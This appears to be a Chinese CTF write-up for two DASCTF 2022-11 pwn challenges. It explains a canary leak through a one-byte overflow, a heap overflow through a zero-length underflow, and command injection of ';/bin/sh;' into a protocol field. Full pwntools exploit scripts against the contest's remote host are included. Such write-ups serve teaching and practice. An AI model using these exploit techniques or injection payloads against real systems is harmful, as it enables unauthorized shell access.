DASCTF_2022_11 Pwn WP

DASCTF_2022_11 Pwn WP

比赛那两天正好学校遣返学生,忙着跑毒没看比赛,后来做了一下,感觉挺有意思。
有的题还没做完,长期更新。

签个到


开了canary和PIE,但是没开NX,也不知道NX不开是什么意思,反正我没用到。
图片.png

审计代码发现先读了一个name,这里有个越界的问题,虽然想的是输入8个字符,但是实际上送8个字符后可以写进去第9个字符。这样我们就能把canary给泄露出来了。
图片.png

之后是两个功能,一个是申请堆块,一个是拿shell,但拿到shell有条件:
图片.png

再看Add函数:
图片.png

可以看到我们能申请的堆块大小是固定的,并且是在指针后四位偏移的位置去写,但是我们前面拿shell时要验证前8位是否和canary一致。因此我们只能试图通过溢出的方式让这一次输入覆盖下面的堆块的内容,在下一个未申请的堆块的地址上提前布置好canary。

我们可以在长度那里输入一个0,这样到里面的for循环中,0-1就是-1,在无符号类型中就是一个极大的数字,就能实现堆溢出的效果。溢出时注意修补好top chunk的头部,尽可能保持原状以避免一些不必要的麻烦。

EXP:

from pwn import *

context.arch='amd64'
context.terminal=['tmux','splitw','-h']
context.log_level='debug'

#r=process('/home/wjc/Desktop/pwn_5')
r=remote('node4.buuoj.cn',26464)

def cmd(idx):
    r.recvuntil('> ')
    r.sendline(str(idx))
def Add(size,content):
    cmd(1)
    r.recvuntil('power length: ')
    r.sendline(str(size))
    r.recvuntil('name: ')
    r.send(content)
def Get(content):
    cmd(2)
    r.recvuntil('data: ')
    r.sendline(content)

r.recvuntil('who are u?')
r.send(8*'a'+'b')
r.recvuntil('hello,aaaaaaaa')
canary=u64(r.recv(8))-0x62
print("canary:",hex(canary))

pay1=0xc*'a'+p64(0)+p64(0x20d51)+p64(canary)+4*'a'+'\n'

Add(0,pay1)
pay2=p32(canary>>32)+4*'a'
Add(8,pay2)

Get(pay2)

#gdb.attach(r)

r.interactive()

login


这题简直就是一道大水题,我不理解为啥才出来4个解,第一个稍微要动动脑子创造堆溢出的题都有10个解,估计是大佬们觉得简单就没做吧......

协议逆向的过程简直有手就行,args写上set_sys_adm,之后直接把:";/bin/sh;"给放进去,补上一些必要的&和=就行了。

EXP:

from pwn import *

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
#context.log_level='debug'

r=remote('node4.buuoj.cn',26565)
#r=process('/home/wjc/Desktop/pwn_4')
#r=gdb.debug('/home/wjc/Desktop/pwn_4','b*$rebase(0x241F)')

def createProtocol(args,cookie,host,accept,acceptencoding,contentlength,refer,useragent,origin,authorization,text):
    content ='POST/'+args+' '+'\r\n'
    content+='Cookie:'+cookie+'\r\n'
    content+='Host:'+host+'\r\n'
    content+='Accept:'+accept+'\r\n'
    content+='Accept-Encoding:'+acceptencoding+'\r\n'
    content+='Content-Length:'+contentlength+'\r\n'
    content+='Refer:'+refer+'\r\n'
    content+='user-agent:'+useragent+'\r\n'
    content+='Origin:'+origin+'\r\n'
    content+='Authorization:'+authorization+'\r\n'
    content+=text
    return content

code='&=\'a\';/bin/sh;&=aaaa'
pay=createProtocol('set_sys_adm','a','a','a','a','a','a','a','a','a',code)

r.sendline(pay.ljust(0x300,'\x00'))

r.interactive()
posted @ 2022-12-05 20:06  Jmp·Cliff  阅读(20)  评论(0)    收藏  举报